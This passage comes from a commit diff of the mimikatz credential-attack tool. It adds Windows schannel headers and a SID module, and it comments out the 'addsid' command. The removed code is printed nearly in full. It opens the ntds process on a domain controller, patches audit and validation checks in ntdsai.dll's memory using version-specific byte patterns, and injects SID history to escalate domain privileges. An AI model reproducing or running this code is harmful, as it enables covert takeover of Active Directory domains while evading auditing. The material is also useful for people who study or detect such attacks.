#define SP_PROT_PCT1_SERVER 0x00000001
#define SP_PROT_PCT1_CLIENT 0x00000002
#define SP_PROT_PCT1 (SP_PROT_PCT1_SERVER | SP_PROT_PCT1_CLIENT)
#define SP_PROT_SSL2_SERVER 0x00000004
#define SP_PROT_SSL2_CLIENT 0x00000008
#define SP_PROT_SSL2 (SP_PROT_SSL2_SERVER | SP_PROT_SSL2_CLIENT)
#define SP_PROT_SSL3_SERVER 0x00000010
#define SP_PROT_SSL3_CLIENT 0x00000020
#define SP_PROT_SSL3 (SP_PROT_SSL3_SERVER | SP_PROT_SSL3_CLIENT)
#define SP_PROT_TLS1_SERVER 0x00000040
#define SP_PROT_TLS1_CLIENT 0x00000080
#define SP_PROT_TLS1 (SP_PROT_TLS1_SERVER | SP_PROT_TLS1_CLIENT)
#define SP_PROT_SSL3TLS1_CLIENTS (SP_PROT_TLS1_CLIENT | SP_PROT_SSL3_CLIENT)
#define SP_PROT_SSL3TLS1_SERVERS (SP_PROT_TLS1_SERVER | SP_PROT_SSL3_SERVER)
#define SP_PROT_SSL3TLS1 (SP_PROT_SSL3 | SP_PROT_TLS1)
#define SP_PROT_UNI_SERVER 0x40000000
#define SP_PROT_UNI_CLIENT 0x80000000
#define SP_PROT_UNI (SP_PROT_UNI_SERVER | SP_PROT_UNI_CLIENT)
#define SP_PROT_ALL 0xffffffff
#define SP_PROT_NONE 0
#define SP_PROT_CLIENTS (SP_PROT_PCT1_CLIENT | SP_PROT_SSL2_CLIENT | SP_PROT_SSL3_CLIENT | SP_PROT_UNI_CLIENT | SP_PROT_TLS1_CLIENT)
#define SP_PROT_SERVERS (SP_PROT_PCT1_SERVER | SP_PROT_SSL2_SERVER | SP_PROT_SSL3_SERVER | SP_PROT_UNI_SERVER | SP_PROT_TLS1_SERVER)
#define SP_PROT_TLS1_0_SERVER SP_PROT_TLS1_SERVER
#define SP_PROT_TLS1_0_CLIENT SP_PROT_TLS1_CLIENT
#define SP_PROT_TLS1_0 (SP_PROT_TLS1_0_SERVER | \
SP_PROT_TLS1_0_CLIENT)
#define SP_PROT_TLS1_1_SERVER 0x00000100
#define SP_PROT_TLS1_1_CLIENT 0x00000200
#define SP_PROT_TLS1_1 (SP_PROT_TLS1_1_SERVER | \
SP_PROT_TLS1_1_CLIENT)
#define SP_PROT_TLS1_2_SERVER 0x00000400
#define SP_PROT_TLS1_2_CLIENT 0x00000800
#define SP_PROT_TLS1_2 (SP_PROT_TLS1_2_SERVER | \
SP_PROT_TLS1_2_CLIENT)
#define SP_PROT_TLS1_1PLUS_SERVER (SP_PROT_TLS1_1_SERVER | \
SP_PROT_TLS1_2_SERVER)
#define SP_PROT_TLS1_1PLUS_CLIENT (SP_PROT_TLS1_1_CLIENT | \
SP_PROT_TLS1_2_CLIENT)
#define SP_PROT_TLS1_1PLUS (SP_PROT_TLS1_1PLUS_SERVER | \
SP_PROT_TLS1_1PLUS_CLIENT)
#define SP_PROT_TLS1_X_SERVER (SP_PROT_TLS1_0_SERVER | \
SP_PROT_TLS1_1_SERVER | \
SP_PROT_TLS1_2_SERVER)
#define SP_PROT_TLS1_X_CLIENT (SP_PROT_TLS1_0_CLIENT | \
SP_PROT_TLS1_1_CLIENT | \
SP_PROT_TLS1_2_CLIENT)
#define SP_PROT_TLS1_X (SP_PROT_TLS1_X_SERVER | \
SP_PROT_TLS1_X_CLIENT)
#define SP_PROT_SSL3TLS1_X_CLIENTS (SP_PROT_TLS1_X_CLIENT | \
SP_PROT_SSL3_CLIENT)
#define SP_PROT_SSL3TLS1_X_SERVERS (SP_PROT_TLS1_X_SERVER | \
SP_PROT_SSL3_SERVER)
#define SP_PROT_SSL3TLS1_X (SP_PROT_SSL3 | SP_PROT_TLS1_X)
#define SP_PROT_X_CLIENTS (SP_PROT_CLIENTS | \
SP_PROT_TLS1_X_CLIENT)
#define SP_PROT_X_SERVERS (SP_PROT_SERVERS | \
SP_PROT_TLS1_X_SERVER)
//
// Helper function used to flush the SSL session cache.
//
typedef BOOL
(WINAPI * SSL_EMPTY_CACHE_FN_A)(
LPSTR pszTargetName,
DWORD dwFlags);
BOOL
WINAPI
SslEmptyCacheA(__in LPSTR pszTargetName,
__in DWORD dwFlags);
typedef BOOL
(WINAPI * SSL_EMPTY_CACHE_FN_W)(
LPWSTR pszTargetName,
DWORD dwFlags);
BOOL
WINAPI
SslEmptyCacheW(__in LPWSTR pszTargetName,
__in DWORD dwFlags);
#ifdef UNICODE
#define SSL_EMPTY_CACHE_FN SSL_EMPTY_CACHE_FN_W
#define SslEmptyCache SslEmptyCacheW
#else
#define SSL_EMPTY_CACHE_FN SSL_EMPTY_CACHE_FN_A
#define SslEmptyCache SslEmptyCacheA
#endif
// Structures for compatability with the
// NT 4.0 SP2 / IE 3.0 schannel interface, do
// not use.
typedef struct _SSL_CREDENTIAL_CERTIFICATE {
DWORD cbPrivateKey;
PBYTE pPrivateKey;
DWORD cbCertificate;
PBYTE pCertificate;
PSTR pszPassword;
} SSL_CREDENTIAL_CERTIFICATE, * PSSL_CREDENTIAL_CERTIFICATE;
// Structures for use with the
// NT 4.0 SP3 Schannel interface,
// do not use.
#define SCHANNEL_SECRET_TYPE_CAPI 0x00000001
#define SCHANNEL_SECRET_PRIVKEY 0x00000002
#define SCH_CRED_X509_CERTCHAIN 0x00000001
#define SCH_CRED_X509_CAPI 0x00000002
#define SCH_CRED_CERT_CONTEXT 0x00000003
struct _HMAPPER;
typedef struct _SCH_CRED
{
DWORD dwVersion; // always SCH_CRED_VERSION.
DWORD cCreds; // Number of credentials.
PVOID *paSecret; // Array of SCH_CRED_SECRET_* pointers
PVOID *paPublic; // Array of SCH_CRED_PUBLIC_* pointers
DWORD cMappers; // Number of credential mappers.
struct _HMAPPER **aphMappers; // pointer to an array of pointers to credential mappers
} SCH_CRED, * PSCH_CRED;
// Structures for use with the
// NT 4.0 SP3 Schannel interface,
// do not use.
typedef struct _SCH_CRED_SECRET_CAPI
{
DWORD dwType; // SCHANNEL_SECRET_TYPE_CAPI
HCRYPTPROV hProv; // credential secret information.
} SCH_CRED_SECRET_CAPI, * PSCH_CRED_SECRET_CAPI;
// Structures for use with the
// NT 4.0 SP3 Schannel interface,
// do not use.
typedef struct _SCH_CRED_SECRET_PRIVKEY
{
DWORD dwType; // SCHANNEL_SECRET_PRIVKEY
PBYTE pPrivateKey; // Der encoded private key
DWORD cbPrivateKey;
PSTR pszPassword; // Password to crack the private key.
} SCH_CRED_SECRET_PRIVKEY, * PSCH_CRED_SECRET_PRIVKEY;
// Structures for use with the
// NT 4.0 SP3 Schannel interface,
// do not use.
typedef struct _SCH_CRED_PUBLIC_CERTCHAIN
{
DWORD dwType;
DWORD cbCertChain;
PBYTE pCertChain;
} SCH_CRED_PUBLIC_CERTCHAIN, *PSCH_CRED_PUBLIC_CERTCHAIN;
// Structures needed for Pre NT4.0 SP2 calls.
typedef struct _PctPublicKey
{
DWORD Type;
DWORD cbKey;
UCHAR pKey[1];
} PctPublicKey;
typedef struct _X509Certificate {
DWORD Version;
DWORD SerialNumber[4];
ALG_ID SignatureAlgorithm;
FILETIME ValidFrom;
FILETIME ValidUntil;
PSTR pszIssuer;
PSTR pszSubject;
PctPublicKey *pPublicKey;
} X509Certificate, * PX509Certificate;
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
// to get the same functionality instead.
BOOL
WINAPI
SslGenerateKeyPair(
PSSL_CREDENTIAL_CERTIFICATE pCerts,
__in PSTR pszDN,
__in PSTR pszPassword,
DWORD Bits );
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
// to get the same functionality instead.
VOID
WINAPI
SslGenerateRandomBits(
PUCHAR pRandomData,
LONG cRandomData
);
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
// to get the same functionality instead.
BOOL
WINAPI
SslCrackCertificate(
PUCHAR pbCertificate,
DWORD cbCertificate,
DWORD dwFlags,
PX509Certificate * ppCertificate
);
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
// to get the same functionality instead.
VOID
WINAPI
SslFreeCertificate(
PX509Certificate pCertificate
);
DWORD
WINAPI
SslGetMaximumKeySize(
DWORD Reserved );
BOOL
WINAPI
SslGetDefaultIssuers(
PBYTE pbIssuers,
DWORD *pcbIssuers);
#define SSL_CRACK_CERTIFICATE_NAME TEXT("SslCrackCertificate")
#define SSL_FREE_CERTIFICATE_NAME TEXT("SslFreeCertificate")
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
// to get the same functionality instead.
typedef BOOL
(WINAPI * SSL_CRACK_CERTIFICATE_FN)
(
PUCHAR pbCertificate,
DWORD cbCertificate,
BOOL VerifySignature,
PX509Certificate * ppCertificate
);
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
// to get the same functionality instead.
typedef VOID
(WINAPI * SSL_FREE_CERTIFICATE_FN)
(
PX509Certificate pCertificate
);
#endif //__SCHANNEL_H__

27
inc/schnlsp.h Normal file
View File

@ -0,0 +1,27 @@
//+---------------------------------------------------------------------------
//
// Microsoft Windows
// Copyright (C) Microsoft Corporation, 1992-1999.
//
// File: schnlsp.h
//
// Contents: Public Definitions for SCHANNEL Security Provider
//
// Classes:
//
// Functions:
//
//----------------------------------------------------------------------------
#ifndef __SCHNLSP_H__
#define __SCHNLSP_H__
#if _MSC_VER > 1000
#pragma once
#endif
#include <schannel.h>
#endif //__SCHNLSP_H__

View File

@ -16,8 +16,12 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "inc", "inc", "{282B4B77-BFF
inc\globals.h = inc\globals.h
inc\NTSecPKG.h = inc\NTSecPKG.h
inc\PshPack8.h = inc\PshPack8.h
inc\schannel.h = inc\schannel.h
inc\schnlsp.h = inc\schnlsp.h
inc\WDBGEXTS.H = inc\WDBGEXTS.H
inc\WinBer.h = inc\WinBer.h
inc\wincred.h = inc\wincred.h
inc\Winldap.h = inc\Winldap.h
EndProjectSection
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "lib", "lib", "{294B51F3-90EF-4F0A-BB04-20321A513A4F}"

View File

@ -26,6 +26,7 @@ const KUHL_M * mimikatz_modules[] = {
&kuhl_m_dpapi,
&kuhl_m_busylight,
&kuhl_m_sysenv,
&kuhl_m_sid,
};
int wmain(int argc, wchar_t * argv[])

View File

@ -27,6 +27,7 @@
#include "modules/kuhl_m_kernel.h"
#include "modules/kuhl_m_busylight.h"
#include "modules/kuhl_m_sysenvvalue.h"
#include "modules/kuhl_m_sid.h"
#include <io.h>
#include <fcntl.h>

View File

@ -78,7 +78,7 @@
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;netapi32.lib;ntdsapi.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;advapi32.hash.lib;ntdll.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;netapi32.lib;ntdsapi.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AssemblyDebug>false</AssemblyDebug>
<DataExecutionPrevention>true</DataExecutionPrevention>
<LinkErrorReporting>NoErrorReport</LinkErrorReporting>
@ -133,6 +133,7 @@
<ClCompile Include="modules\kuhl_m_process.c" />
<ClCompile Include="modules\kuhl_m_service.c" />
<ClCompile Include="modules\kuhl_m_service_remote.c" />
<ClCompile Include="modules\kuhl_m_sid.c" />
<ClCompile Include="modules\kuhl_m_standard.c" />
<ClCompile Include="modules\kuhl_m_sysenvvalue.c" />
<ClCompile Include="modules\kuhl_m_token.c" />
@ -205,6 +206,7 @@
<ClInclude Include="modules\kuhl_m_process.h" />
<ClInclude Include="modules\kuhl_m_service.h" />
<ClInclude Include="modules\kuhl_m_service_remote.h" />
<ClInclude Include="modules\kuhl_m_sid.h" />
<ClInclude Include="modules\kuhl_m_standard.h" />
<ClInclude Include="modules\kuhl_m_sysenvvalue.h" />
<ClInclude Include="modules\kuhl_m_token.h" />

View File

@ -188,6 +188,9 @@
<ClCompile Include="modules\kuhl_m_sysenvvalue.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="modules\kuhl_m_sid.c">
<Filter>local modules</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="mimikatz.h" />
@ -401,6 +404,9 @@
<ClInclude Include="modules\kuhl_m_sysenvvalue.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="modules\kuhl_m_sid.h">
<Filter>local modules</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="local modules">

View File

@ -11,9 +11,9 @@ const KUHL_M_C kuhl_m_c_misc[] = {
{kuhl_m_misc_taskmgr, L"taskmgr", L"Task Manager (without DisableTaskMgr)"},
{kuhl_m_misc_ncroutemon,L"ncroutemon", L"Juniper Network Connect (without route monitoring)"},
{kuhl_m_misc_detours, L"detours", L"[experimental] Try to enumerate all modules with Detours-like hooks"},
#ifdef _M_X64
{kuhl_m_misc_addsid, L"addsid", NULL},
#endif
//#ifdef _M_X64
// {kuhl_m_misc_addsid, L"addsid", NULL},
//#endif
{kuhl_m_misc_memssp, L"memssp", NULL},
{kuhl_m_misc_skeleton, L"skeleton", NULL},
{kuhl_m_misc_compressme,L"compressme", NULL},
@ -224,230 +224,230 @@ BOOL kuhl_m_misc_generic_nogpo_patch(PCWSTR commandLine, PWSTR disableString, SI
return status;
}
#ifdef _M_X64
BYTE PTRN_JMP[] = {0xeb};
BYTE PTRN_6NOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
BYTE PTRN_WN64_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
BYTE PTRN_WN64_1[] = {0xfa, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
BYTE PTRN_WN64_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24}; // VerifySrcAuditingEnabledAndGetFlatName
BYTE PTRN_WN64_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x88, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
BYTE PTRN_WN64_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
BYTE PTRN_WN64_5[] = {0xc7, 0x44, 0x24, 0x74, 0x59, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
BYTE PTRN_WN64_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
BYTE PTRN_WN64_7[] = {0x8b, 0x84, 0x24, 0x6c, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
BYTE PTRN_WN81_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
BYTE PTRN_WN81_1[] = {0xc2, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
BYTE PTRN_WN81_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
BYTE PTRN_WN81_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x60, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
BYTE PTRN_WN81_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
BYTE PTRN_WN81_5[] = {0xc7, 0x44, 0x24, 0x74, 0x1c, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
BYTE PTRN_WN81_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
BYTE PTRN_WN81_7[] = {0x8b, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
BYTE PTRN_WN80_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
BYTE PTRN_WN80_1[] = {0xC1, 0x05, 0x1A, 0x01, 0xe9}; // VerifyAuditingEnabled
BYTE PTRN_WN80_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
BYTE PTRN_WN80_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
BYTE PTRN_WN80_4[] = {0x49, 0x8B, 0x41, 0x18, 0x48, 0x8D, 0x8C, 0x24, 0x10, 0x05, 0x00, 0x00}; // fNullUuid
BYTE PTRN_WN80_5[] = {0xC7, 0x44, 0x24, 0x74, 0x1b, 0x07, 0x1A, 0x01, 0xE9}; // cmp r12
BYTE PTRN_WN80_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
BYTE PTRN_WN80_7[] = {0x44, 0x8B, 0x9C, 0x24, 0x9C, 0x01, 0x00, 0x00, 0x41, 0x81, 0xFB, 0xE8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
BYTE PTRN_W8R2_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
BYTE PTRN_W8R2_1[] = {0x96, 0x05, 0x1a, 0x01, 0x48}; // VerifyAuditingEnabled
//BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2010
BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x00, 0x02, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2013
BYTE PTRN_W8R2_3[] = {0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x70, 0x3b, 0xc6, 0x74};
BYTE PTRN_W8R2_4[] = {0x05, 0x00, 0x00, 0x48, 0x8b, 0x11, 0x48, 0x3b, 0x50, 0x08, 0x75}; // fNullUuid
BYTE PTRN_W8R2_5[] = {0xc7, 0x44, 0x24, 0x74, 0xed, 0x06, 0x1a, 0x01, 0x8b}; // cmp r14
BYTE PTRN_W8R2_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
BYTE PTRN_W8R2_7[] = {0x01, 0x00, 0x00, 0x41, 0x81, 0xfb, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
KULL_M_PATCH_MULTIPLE wservprev[] = {
{{sizeof(PTRN_WN64_0), PTRN_WN64_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
{{sizeof(PTRN_WN64_1), PTRN_WN64_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
{{sizeof(PTRN_WN64_2), PTRN_WN64_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
{{sizeof(PTRN_WN64_3), PTRN_WN64_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
{{sizeof(PTRN_WN64_4), PTRN_WN64_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
{{sizeof(PTRN_WN64_5), PTRN_WN64_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
{{sizeof(PTRN_WN64_6), PTRN_WN64_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
{{sizeof(PTRN_WN64_7), PTRN_WN64_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
};
KULL_M_PATCH_MULTIPLE w2k12r2[] = {
{{sizeof(PTRN_WN81_0), PTRN_WN81_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
{{sizeof(PTRN_WN81_1), PTRN_WN81_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
{{sizeof(PTRN_WN81_2), PTRN_WN81_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
{{sizeof(PTRN_WN81_3), PTRN_WN81_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
{{sizeof(PTRN_WN81_4), PTRN_WN81_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
{{sizeof(PTRN_WN81_5), PTRN_WN81_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
{{sizeof(PTRN_WN81_6), PTRN_WN81_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
{{sizeof(PTRN_WN81_7), PTRN_WN81_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
};
KULL_M_PATCH_MULTIPLE w2k12[] = {
{{sizeof(PTRN_WN80_0), PTRN_WN80_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
{{sizeof(PTRN_WN80_1), PTRN_WN80_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
{{sizeof(PTRN_WN80_2), PTRN_WN80_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
{{sizeof(PTRN_WN80_3), PTRN_WN80_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
{{sizeof(PTRN_WN80_4), PTRN_WN80_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
{{sizeof(PTRN_WN80_5), PTRN_WN80_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
{{sizeof(PTRN_WN80_6), PTRN_WN80_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
{{sizeof(PTRN_WN80_7), PTRN_WN80_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 15,},
};
KULL_M_PATCH_MULTIPLE w2k8r2[] = {
{{sizeof(PTRN_W8R2_0), PTRN_W8R2_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
{{sizeof(PTRN_W8R2_1), PTRN_W8R2_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -14,},
{{sizeof(PTRN_W8R2_2), PTRN_W8R2_2}, {sizeof(PTRN_JMP), PTRN_JMP}, 27,},
{{sizeof(PTRN_W8R2_3), PTRN_W8R2_3}, {sizeof(PTRN_JMP), PTRN_JMP}, 9,},
{{sizeof(PTRN_W8R2_4), PTRN_W8R2_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -11,},
{{sizeof(PTRN_W8R2_5), PTRN_W8R2_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -17,},
{{sizeof(PTRN_W8R2_6), PTRN_W8R2_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
{{sizeof(PTRN_W8R2_7), PTRN_W8R2_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 20,},
};
NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[])
{
SERVICE_STATUS_PROCESS sNtds;
HANDLE hProcess, hDs;
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iNtds;
DWORD i, err;
KULL_M_MEMORY_ADDRESS sAddress = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {NULL, NULL};
KULL_M_MEMORY_SEARCH sSearch;
BOOL littleSuccess = TRUE;
PPOLICY_DNS_DOMAIN_INFO pDnsInfo;
PKULL_M_PATCH_MULTIPLE pOs = NULL;
DWORD pOsSz = 0;
if(argc > 1)
{
if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8))
{
pOs = w2k8r2;
pOsSz = ARRAYSIZE(w2k8r2);
}
else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_8) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE))
{
pOs = w2k12;
pOsSz = ARRAYSIZE(w2k12);
}
else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_BLUE) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_10))
{
pOs = w2k12r2;
pOsSz = ARRAYSIZE(w2k12r2);
}
else if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10)
{
pOs = wservprev;
pOsSz = ARRAYSIZE(wservprev);
}
if(pOs && pOsSz)
{
if(kull_m_net_getCurrentDomainInfo(&pDnsInfo))
{
err = DsBindW(NULL, NULL, &hDs);
if(err == ERROR_SUCCESS)
{
if(kull_m_service_getUniqueForName(L"ntds", &sNtds))
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, sNtds.dwProcessId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aProcess.hMemory))
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aProcess.hMemory, L"ntdsai.dll", &iNtds))
{
sSearch.kull_m_memoryRange.kull_m_memoryAdress = iNtds.DllBase;
sSearch.kull_m_memoryRange.size = iNtds.SizeOfImage;
for(i = 0; (i < pOsSz) && littleSuccess; i++)
{
littleSuccess = FALSE;
pOs[i].LocalBackup.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
pOs[i].LocalBackup.address = NULL;
pOs[i].AdressOfPatch.hMemory = aProcess.hMemory;
pOs[i].AdressOfPatch.address = NULL;
pOs[i].OldProtect = 0;
sAddress.address = pOs[i].Search.Pattern;
if(kull_m_memory_search(&sAddress, pOs[i].Search.Length, &sSearch, TRUE))
{
if(pOs[i].LocalBackup.address = LocalAlloc(LPTR, pOs[i].Patch.Length))
{
pOs[i].AdressOfPatch.address = (PBYTE) sSearch.result + pOs[i].Offset;
if(!(littleSuccess = kull_m_memory_copy(&pOs[i].LocalBackup, &pOs[i].AdressOfPatch, pOs[i].Patch.Length)))
{
PRINT_ERROR_AUTO(L"kull_m_memory_copy (backup)");
LocalFree(pOs[i].LocalBackup.address);
pOs[i].LocalBackup.address = NULL;
}
}
}
else
{
kprintf(L"Search %u : ", i);
PRINT_ERROR_AUTO(L"kull_m_memory_search");
}
}
if(littleSuccess)
{
for(i = 0; (i < pOsSz) && littleSuccess; i++)
{
littleSuccess = FALSE;
if(kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, PAGE_EXECUTE_READWRITE, &pOs[i].OldProtect))
{
sAddress.address = pOs[i].Patch.Pattern;
if(!(littleSuccess = kull_m_memory_copy(&pOs[i].AdressOfPatch, &sAddress, pOs[i].Patch.Length)))
PRINT_ERROR_AUTO(L"kull_m_memory_copy");
}
else PRINT_ERROR_AUTO(L"kull_m_memory_protect");
}
}
if(littleSuccess)
{
kprintf(L"SIDHistory for \'%s\'\n", argv[0]);
for(i = 1; i < (DWORD) argc; i++)
{
kprintf(L" * %s\t", argv[i]);
err = DsAddSidHistoryW(hDs, 0, pDnsInfo->DnsDomainName.Buffer, argv[i], NULL, NULL, pDnsInfo->DnsDomainName.Buffer, argv[0]);
if(err == NO_ERROR)
kprintf(L"OK\n");
else PRINT_ERROR(L"DsAddSidHistory: 0x%08x (%u)!\n", err, err);
}
}
for(i = 0; i < pOsSz; i++)
{
if(pOs[i].LocalBackup.address)
{
if(!kull_m_memory_copy(&pOs[i].AdressOfPatch, &pOs[i].LocalBackup, pOs[i].Patch.Length))
PRINT_ERROR_AUTO(L"kull_m_memory_copy");
LocalFree(pOs[i].LocalBackup.address);
}
if(pOs[i].OldProtect)
kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, pOs[i].OldProtect, &pOs[i].OldProtect);
}
}
kull_m_memory_close(aProcess.hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
err = DsUnBindW(&hDs);
}
else PRINT_ERROR(L"DsBind: %08x (%u)!\n", err, err);
LsaFreeMemory(pDnsInfo);
}
} else PRINT_ERROR(L"OS not supported (only w2k8r2 & w2k12r2)\n");
} else PRINT_ERROR(L"It requires at least 2 args\n");
return STATUS_SUCCESS;
}
#endif
//#ifdef _M_X64
//BYTE PTRN_JMP[] = {0xeb};
//BYTE PTRN_6NOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
//
//BYTE PTRN_WN64_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN64_1[] = {0xfa, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN64_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN64_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x88, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN64_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
